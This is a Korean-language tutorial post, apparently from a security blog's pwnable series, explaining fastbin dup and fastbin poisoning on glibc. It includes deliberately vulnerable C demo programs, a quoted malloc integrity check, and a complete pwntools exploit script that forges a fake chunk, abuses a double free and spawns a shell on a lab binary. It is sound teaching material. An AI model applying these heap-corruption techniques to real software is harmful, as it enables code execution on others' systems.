Fastbin dup은 Double Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다. 이를 이용하면 fastbin의 FD 포인터를 조작해 임의 주소에 힙 청크를 할당할 수 있다.
그러나 이를 방지하기 위해 FD 포인터가 가리키는 영역의 size와 할당하려는 bin의 크기를 비교하는 코드가 존재한다.
fastbin_dup.c
// gcc -o fastbin_dup fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr1 = (char *)malloc(0x40);
char *ptr2 = (char *)malloc(0x40);
free(ptr1);
free(ptr2);
free(ptr1);
fprintf(stderr, "malloc : %p\n", malloc(0x40));
fprintf(stderr, "malloc : %p\n", malloc(0x40));
fprintf(stderr, "malloc : %p\n", malloc(0x40));
return 0;
}
위 코드는 ptr1을 두 번 해제해 fastbin freelist에 두 개의 동일한 주소를 삽입한 후 malloc 함수가 리턴하는 포인터를 확인하는 예제이다.
free 함수가 호출된 이후 첫 번째와 세 번째에 할당된 힙 청크의 주소가 동일한 것을 확인할 수 있다.
Fastbin dup & poisoning
fastbin poisoning은 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당하는 공격 기법이다.
fastbin_dup1.c
// gcc -o fastbin_dup1 fastbin_dup1.c
#include <stdio.h>
#include <stdlib.h>
long win;
int main()
{
long *ptr1, *ptr2, *ptr3, *ptr4;
*(&win - 1) = 0x31;
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
free(ptr1);
free(ptr2);
free(ptr1);
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
ptr1[0] = &win - 2;
ptr3 = malloc(0x20);
ptr4 = malloc(0x20);
ptr4[0] = 1;
if(win)
printf("win\n");
return 0;
}
위 코드는 &win - 1에 할당할 공격에 사용할 fastbin의 size인 0x31을 대입한 후 32 바이트 크기의 힙 청크를 할당하고 해제하는 예제 코드이다.
Double Free 버그가 발생하고 fastbin freelist에 두 개의 동일한 힙 청크 주소가 삽인된다.
이후 ptr1의 FD에 &win - 2로 조작한다. 그리고 조작된 FD의 값이 fastbin freelist에서 참조하여 할당하도록 네번의 할당 요청을 한 후 ptr4를 참조해 win 전역 변수의 값을 조작한다.
fastbin의 크기를 가진 힙을 할당할 때 검증 하는 코드
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
idx = fastbin_index (nb);
...
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
}
chunksize 매크로의 인자는 할당 요청이 들어온 힙 청크의 주소이다.
chunksize 매크로는 인자로 전달된 힙 청크의 크기를 구한다. 이는 할당하려는 힙 청크의 크기가 fastbin과 일치하는지 검증한다.
위 예제에서 &win - 1에 0x31 값을 씀으로써 위 조건을 만족하고, ptr4는 win 전역 변수 위치에 할당된다. 이 처럼 메모리 할당자가 의도하지 않은 힙 청크를 Fake chunk라고 한다.
ptr4를 할당하기 전에 win 전역 변수에 Fake chunk를 구성한 모습이다.
win 전역 변수에 할당하기 위해 size를 0x31로 조작한 것을 확인할 수 있다.
fastbin_dup1의 실행 결과이다.
fastbin_dup2.c
// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while(1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if(i >= 10) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if(overwrite_me == 0xDEADBEEF) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다.
익스플로잇 시나리오
1. 검증 우회를 위해 힙을 두 개 할당
2. old와 p 포인터를 다르게 하여 Double Free를 발생
3. Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당할 overwrite_me 전역 변수의 주소를 FD 위치에 입력.
4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다.
overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
name 전역 변수에 Fake chunk를 구성한 모습이다.
fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunkdml prev_size는 0을 주었다. 이후에 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 주었다.
fakechunk_name = elf.symbols['name']
add(p64(fakechunk_name)) # FD overwrite
add('AAAA')
add('CCCC')
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
이제 위 코드와 같이 FD에 fake chunk인 name 전역변수 주소로 조작하고 네 번째 힙을 할당할때 overwrite_me 전역 변수에 0xDEADBEEF를 입력하면 3번 메뉴를 통해 셸을 획득 가능하다.
overwrite_me 전역변수에 DEADBEEF가 쓰여진 것을 확인할 수 있다.
이후 3번 메뉴를 통해 셸을 획득한 모습이다.
exploit code
from pwn import *
p = process('./fastbin_dup2')
elf = ELF('./fastbin_dup2')
def add(data):
print p.sendlineafter('>', '1')
print p.sendlineafter(':', str(data))
def free(idx):
print p.sendlineafter('>', '2')
print p.sendlineafter(':', str(idx))
def getshell():
print p.sendlineafter('>', '3')
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter('Name :', fakechunk)
add('AAAA') # 0
add('AAAA') # 1
free(0)
free(1)
free(0)
fakechunk_name = elf.symbols['name']
add(p64(fakechunk_name)) # FD overwrite
add('AAAA')
add('CCCC')
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
p.interactive()
'Pwnable > Techniques' 카테고리의 다른 글
Unsafe unlink (0) | 2021.03.01 |
---|---|
Fastbin dup consolidate (0) | 2021.02.28 |
Double Free Bug (0) | 2021.02.23 |
_int_free (0) | 2021.02.22 |
_int_malloc (0) | 2021.02.22 |
댓글